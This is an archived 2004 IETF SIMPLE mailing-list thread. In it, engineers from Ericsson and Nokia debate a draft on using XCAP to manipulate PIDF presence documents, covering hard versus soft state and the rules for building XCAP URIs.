omments=20
  would apply to the new draft as well. My anwers to each point=20
  below:</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>1)=20
  XCAP operations are hard state by nature, no refreshing is needed, so t=
his is=20
  inherently hard state manipulation. </FONT></SPAN></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT>=
</DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Agree, but =
how do you=20
  prevent users, from using XCAP from manipulating presence soft=20
  states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>I assume th=
at all the=20
  presence tuples are part of the same presence document.=20
  </SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now you are=
 advocating=20
  selective manipluation of some tuples and not others using=20
  XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have I misu=
nderstood=20
  something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>How will yo=
u enforce=20
  that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>=

  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</D=
IV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>&nbsp;</SPA=
N>2) The=20
  default model I have in mind is that each presentity would have exactly=
 one=20
  persistent device-independent presence document that would be manipulat=
ed by=20
  XCAP. That would be fed to the composition logic to complement the=20
  PUA/device-specific documents published using SIP PUBLISH mechanism.<SP=
AN=20
  class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>XCAP is meant to be a generic XML-manipulation mechanism, so t=
here=20
  should be nothing specific in this application usage. Once the base XCA=
P is=20
  finished, we'll see what the exact mechanisms to mandate supported name=
spaces=20
  are, and we'll adopt that convention in this draft too. This is probabl=
y still=20
  changing from xcap-02 draft, as was discussed in SIMPLE session.&nbsp;<=
SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>Not totally=20
  true</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>XCAP have a limited set of ru=
les for=20
  HTTP URI creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004></SPAN></FONT></FONT></FONT><=
/SPAN><SPAN=20
  class=3D902344900-03032004><FONT face=3DArial><FONT color=3D#0000ff><FO=
NT=20
  size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not meant for *=
any* XML=20
  document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>I think the XCAP framework is=
 clear on=20
  that</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>You would need to expand thos=
e rules,=20
  which can complicate things quite a lot, not to mention slow things dow=
n, to=20
  make it more generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>3) I'm not sure if I&nbsp;understood the question. This is not=
 a=20
  template for any applications that want to use XCAP, this is standardiz=
ing how=20
  XCAP is used to manipulate PIDF-formatted presence documents. As there =
is no=20
  computed data or anything, I guess an app usage for any XML doc would b=
e quite=20
  similar to this one.<SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>For event packages we have a =
template=20
  that have to be filled&nbsp;by for anyone who wants to create a new eve=
nt=20
  package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>So I am asking if your&nbsp;d=
ocument=20
  presents a template, similar&nbsp;to the event package approach. (forge=
t about=20
  the content for your application)</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>I am not sure if I am clear&n=
bsp;on that=20
  one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>4) Surely there are many ways to manipulate PIDF documents. Ho=
wever, in=20
  context of SIMPLE, XCAP is a natural choice since it's needed already i=
n any=20
  advanced presence-capable device. Could you explain what kind of comple=
xities=20
  you mean? This is as simple an XCAP usage as&nbsp;there can be. Are you=
 saying=20
  that XCAP in itself is complex? A more simple way would be to use just =
normal=20
  HTTP PUT and DELETE, but since we have XCAP at our disposal, why not us=
e=20
  it.<SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>=

  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>The complexities will arise i=
f we allow=20
  users to do selective manipulation, using XCAP,&nbsp;for certain=20
  tuples&nbsp;*only*, and using PUBLISH for the remaining=20
  tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN class=3D509473301-03032004>So I need to see your answer =
first to=20
  my&nbsp;response to your first &nbsp;bullet before I go=20
  further</SPAN></FONT></FONT></FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SP=
AN=20
  class=3D902344900-03032004><FONT face=3DArial><FONT color=3D#0000ff><FO=
NT=20
  size=3D2><SPAN=20
  class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN>=
</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2>Markus</FONT></SPAN></DIV>
  <BLOCKQUOTE=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT face=3D=
Tahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti (=
QA/EMC)=20
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
    02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
    simple@ietf.org<BR><B>Subject:</B> Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
    <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
    <P><FONT face=3D"Times New Roman">I have some comments on your draft:=
</FONT>=20
    </P>
    <P><FONT face=3D"Times New Roman">1) Although you indicate that this =
should be=20
    used only for hard states, what is there to prevent users from manipu=
lating=20
    other presence states in there through XCAP.</FONT></P>
    <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for doc=
uments=20
    that are created to take advantage of the defined XCAP rules for HTTP=
 URI=20
    creation. Which XML presence documents in particular are you proposin=
g that=20
    they get manipulated by XCAP.&nbsp; </FONT></P>
    <P><FONT face=3D"Times New Roman">How do you ensure that the current =
XCAP=20
    rules are suffiicient for the purpose you have in mind. I also doubt =
that=20
    you can use the current XML presence documents (PIDF and extensions) =
for=20
    XCAP purposes as is. For example, should there not be the element=20
    mandatory-ns, in there, as per the XCAP framework.</FONT></P>
    <P><FONT face=3D"Times New Roman">3) Is this template meant to be a g=
eneric=20
    template to be used by all applications that want to use XCAP.</FONT>=
 </P>
    <P><FONT face=3D"Times New Roman">4) Finally, I believe that there ar=
e other,=20
    out-of-band means, to accomplish your goals, i.e. manipulate hard sta=
tes,=20
    without the unwarranted complexities that the draft creates. Thus, th=
ere=20
    must be explicit references in the draft to that fact.&nbsp; </FONT><=
/P>
    <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial size=
=3D2>Ericsson=20
    Canada</FONT> </P><BR><BR>This communication is confidential and inte=
nded=20
    solely for the addressee(s). Any unauthorized review, use, disclosure=
 or=20
    distribution is prohibited. If you believe this message has been sent=
 to you=20
    in error, please notify the sender by replying to this transmission a=
nd=20
    delete the message without disclosing it. Thank you.<BR><BR>E-mail in=
cluding=20
    attachments is susceptible to data corruption, interruption, unauthor=
ized=20
    amendment, tampering and viruses, and we only send and receive e-mail=
s on=20
    the basis that we are not liable for any such corruption, interceptio=
n,=20
    amendment, tampering or viruses or any consequences thereof.=20
</BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and=
 intended solely for the addressee(s). Any unauthorized review, use, disc=
losure or distribution is prohibited. If you believe this message has bee=
n sent to you in error, please notify the sender by replying to this tran=
smission and delete the message without disclosing it. Thank you.<br><br>=
E-mail including attachments is susceptible to data corruption, interrupt=
ion, unauthorized amendment, tampering and viruses, and we only send and =
receive e-mails on the basis that we are not liable for any such corrupti=
on, interception, amendment, tampering or viruses or any consequences the=
reof.</BODY></HTML>

------_=_NextPart_001_01C400BF.B6FAFE74--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:58:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20178
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:58:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLe1-0004me-7I
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:57:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231vvod018387
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:57:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLe1-0004mH-25
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:57:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20094
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:57:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLdy-0003jh-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:57:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLd6-0003aD-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:57:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLcB-0003Oz-00; Tue, 02 Mar 2004 20:56:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLcA-0004Ud-2R; Tue, 02 Mar 2004 20:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLbu-0004U8-6k
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:55:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA19877
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:55:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLbr-0003Gp-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:55:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLaZ-00033V-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:54:25 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLZo-0002rv-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:53:37 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i231r7fX008224
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:53:07 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 19:48:23 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRFCW>; Tue, 2 Mar 2004 19:52:50 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C5@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400BF.B6FAFE74"
X-OriginalArrivalTime: 03 Mar 2004 01:48:23.0968 (UTC) FILETIME=[9D394200:01C400C1]
Subject: [Simple] Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on
 draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 19:52:01 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400BF.B6FAFE74
Content-Type: text/plain;
	charset="iso-8859-1"

Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400BF.B6FAFE74
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Diso-885=
9-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN class=3D509473301-=
03032004>Sorry,=20
I had the wrong draft in the subject, but I meant the PIDF Manipulation=20=

draft.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px so=
lid; MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT face=3DT=
ahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@noki=
a.com=20
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 20=
04 8:24=20
  PM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</=
B> RE:=20
  Comments on draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></=
DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>Hi=20
  George,</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2>First of all, the document you are referring to has been updat=
ed with=20
  this one:</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2><A=20
  href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-p=
idf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-=
isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV=
>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>I'll=20
  submit the WG version shortly after the meeting. The changes compared t=
o the=20
  version you&nbsp;read&nbsp;are mainly clarifications, so I think your c=
omments=20
  would apply to the new draft as well. My anwers to each point=20
  below:</FONT></SPAN></DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000f=
f size=3D2>1)=20
  XCAP operations are hard state by nature, no refreshing is needed, so t=
his is=20
  inherently hard state manipulation. </FONT></SPAN></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT>=
</DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Agree, but =
how do you=20
  prevent users, from using XCAP from manipulating presence soft=20
  states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>I assume th=
at all the=20
  presence tuples are part of the same presence document.=20
  </SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now you are=
 advocating=20
  selective manipluation of some tuples and not others using=20
  XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have I misu=
nderstood=20
  something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>How will yo=
u enforce=20
  that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>=

  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</D=
IV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
  class=3D902344900-03032004><SPAN class=3D509473301-03032004>&nbsp;</SPA=
N>2) The=20
  default model I have in mind is that each presentity would have exactly=
 one=20
  persistent device-independent presence document that would be manipulat=
ed by=20
  XCAP. That would be fed to the composition logic to complement the=20
  PUA/device-specific documents published using SIP PUBLISH mechanism.<SP=
AN=20
  class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
  class=3D902344900-03032004><SPAN=20
  class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></D=
IV>
  <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT color=3D=
#0000ff><FONT=20
  size=3D2>XCAP is meant to be a generic XML-manipulation mechanism, so t=
here=20
  should be nothing specific in this application usage. Once the base XCA=
P is=20
